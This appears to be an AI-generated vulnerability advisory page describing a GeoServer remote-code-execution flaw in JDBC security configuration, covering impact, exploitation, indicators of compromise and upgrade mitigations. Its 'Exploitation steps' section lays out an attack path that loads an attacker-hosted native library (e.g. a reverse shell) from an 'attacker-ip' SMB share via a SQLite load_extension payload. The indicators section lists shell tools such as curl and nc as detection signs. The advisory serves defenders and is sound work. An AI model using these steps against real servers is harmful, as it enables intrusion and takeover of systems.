Vulnerability DatabaseCVE-2026-120704

CVE-2026-120704: 
GeoServer vulnerability analysis and mitigation

Overview

CVE-2026-120704 is a Remote Code Execution (RCE) vulnerability in GeoServer's JDBC security configuration, specifically the org.geoserver.security:gs-sec-jdbc module. The flaw allows an administrator or anyone with access to an administrator session to load arbitrary native libraries into the GeoServer process via SQLite JDBC extension loading. Affected versions include all releases up to and including 2.27.6, 2.28.0–2.28.5, and 3.0.0–3.0.1. The vulnerability was published on November 23, 2026, with patches released the same day. It carries a CVSS v3.1 base score of 7.2 (High) (GitHub Advisory).

Technical details

The root cause is improper control of code generation (CWE-94): AbstractJDBCService.initializeDSFromConfig() passed administrator-supplied JDBC driver class names and connection URLs directly to the connection pool without validation, and checkORCreateJDBCPropertyFile() accepted absolute paths — including UNC/SMB paths — for DML and DDL property files. An attacker with administrator access can configure a JDBC security service (user/group, role service, or authentication provider) to use the SQLite driver with the enable_load_extension=true connection parameter, then supply a DML property file containing SELECT load_extension(...) pointing to an attacker-controlled native library. The DML statements execute whenever the service is used (e.g., when listing users), causing the native library to be loaded into the GeoServer JVM process. On Windows, both the DML file and the native library can be sourced from an SMB share via UNC paths, requiring no prior file staging on the server; on other platforms, the attacker must first place the files on the server filesystem (GitHub Advisory).

Impact

Successful exploitation grants arbitrary code execution as the OS user running the GeoServer process, resulting in full confidentiality, integrity, and availability compromise of the affected system. An attacker can exfiltrate geospatial data and credentials, modify or destroy data, install persistent backdoors, and use the compromised server as a pivot point for lateral movement within the network. The Windows-specific SMB/UNC path support makes exploitation particularly straightforward in environments where the attacker controls a network share, as no server-side file staging is required (GitHub Advisory, Eye Security).

Exploitability

A proof-of-concept exploit path is publicly described in the GitHub Security Advisory (GHSA-wc3v-48j7-xf57), with sufficient technical detail to reproduce the RCE without further research. Exploitation has been reported in the wild, with active probing observed within days of disclosure, and multiple threat intelligence sources confirm active exploitation (ThreadLinqs, The Hacker News, SecurityWeek). The vulnerability requires High privileges (administrator access), but researchers have noted it is being chained with other GeoServer flaws (e.g., CVE-2026-120705, CVE-2026-129243, CVE-2026-129245) to achieve unauthenticated RCE chains (watchTowr, sh3llc0d3). CISA KEV catalog status and EPSS score are not confirmed in available sources.

Exploitation steps

  1. Obtain Administrator Access: Gain access to the GeoServer administration console or REST API, either through legitimate credentials, session hijacking, or by chaining with another vulnerability (e.g., CVE-2026-129243/129245) that provides unauthenticated admin access.
  2. Prepare the Malicious Native Library: Compile or obtain a native shared library (.so on Linux/macOS, .dll on Windows) containing the desired payload (e.g., a reverse shell). On Windows, host this library on an attacker-controlled SMB share (e.g., \\attacker-ip\share\evil.dll).
  3. Prepare the DML Property File: Create a DML property file containing the SQLite extension-loading statement, e.g., SELECT load_extension('/path/to/evil.so') (Linux) or SELECT load_extension('\\\\attacker-ip\\share\\evil.dll') (Windows UNC path). On Windows, this file can also be hosted on the SMB share.
  4. Configure the Malicious JDBC Security Service: In the GeoServer admin UI, navigate to Security → Authentication/Users/Roles and create or modify a JDBC-based service. Set the JDBC driver to the SQLite driver, set the connection URL to include enable_load_extension=true (e.g., jdbc:sqlite::memory:?enable_load_extension=true), and set the DML property file path to the malicious file path or UNC path.
  5. Trigger DML Execution: Perform any action that causes GeoServer to use the configured JDBC security service, such as listing users or authenticating. This triggers AbstractJDBCService.initializeDSFromConfig() and executes the DML statements, loading the native library into the GeoServer process.
  6. Achieve Code Execution: The native library executes within the GeoServer JVM process context, providing arbitrary code execution as the GeoServer service account (GitHub Advisory, Eye Security).

Indicators of compromise

  • Network: Outbound SMB (port 445) connections from the GeoServer host to external or unexpected IP addresses (Windows UNC path exploitation); unexpected outbound connections (reverse shell) from the GeoServer process to attacker-controlled infrastructure; scanning or probing of GeoServer admin endpoints (/geoserver/web/, /geoserver/rest/) from external sources.
  • Logs: GeoServer access logs showing POST requests to JDBC security configuration endpoints by unexpected source IPs; Java stack traces or errors referencing AbstractJDBCService, initializeDSFromConfig, or checkORCreateJDBCPropertyFile; log entries referencing SQLite driver initialization or load_extension calls.
  • File System: Unexpected .so, .dll, or .properties files placed in GeoServer data directories or temp directories; new or modified DML/DDL property files with SELECT load_extension(...) content; unexpected native libraries in GeoServer classpath directories.
  • Process: Unusual child processes spawned by the GeoServer Java process (e.g., bash, sh, cmd.exe, powershell, curl, wget, nc); unexpected network connections initiated by the Java process (GitHub Advisory, Eye Security).

Mitigation and workarounds

Upgrade to GeoServer 2.27.7, 2.28.6, or 3.0.2, which fix the vulnerability by restricting JDBC security services to known drivers and connection parameters, and rejecting absolute DML/DDL file paths. As a workaround, restrict access to the GeoServer administration console and REST API to trusted administrators only (e.g., via network-level controls or reverse proxy authentication). Remove any JDBC drivers not strictly required — particularly the SQLite JDBC driver — from the GeoServer classpath. If additional JDBC parameters are needed post-upgrade, they can be explicitly allowed via the GEOSERVER_JDBC_EXTRA_PARAMETERS property (GitHub Advisory, GeoServer Vendor).

Community reactions

The GeoServer project published a vendor advisory on November 23, 2026, the same day as the GitHub Security Advisory, urging immediate patching and access restriction (GeoServer Vendor). Eye Security published a technical write-up highlighting the unauthenticated RCE chain potential when this vulnerability is combined with other GeoServer flaws (Eye Security). watchTowr and SecurityWeek reported active exploitation and attacker probing within days of disclosure, drawing significant community attention (watchTowr, SecurityWeek). The Hacker News and multiple security blogs covered the story, emphasizing the risk of chaining multiple GeoServer CVEs for unauthenticated RCE (The Hacker News).

Additional resources


Source: This report was generated using AI

Related GeoServer vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-129245CRITICAL9.2
  • GeoServer logoGeoServer
  • cpe:2.3:a:geoserver:geoserver
NoYesNov 24, 2026
CVE-2026-129243HIGH8.8
  • GeoServer logoGeoServer
  • cpe:2.3:a:geoserver:geoserver
NoYesNov 24, 2026
CVE-2026-120705HIGH8.6
  • GeoServer logoGeoServer
  • cpe:2.3:a:geoserver:geoserver
NoYesNov 24, 2026
CVE-2026-120704HIGH7.2
  • GeoServer logoGeoServer
  • cpe:2.3:a:geoserver:geoserver
NoYesNov 24, 2026
CVE-2026-129244MEDIUM6.9
  • GeoServer logoGeoServer
  • cpe:2.3:a:geoserver:geoserver
NoYesNov 24, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Additional Wiz resources

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management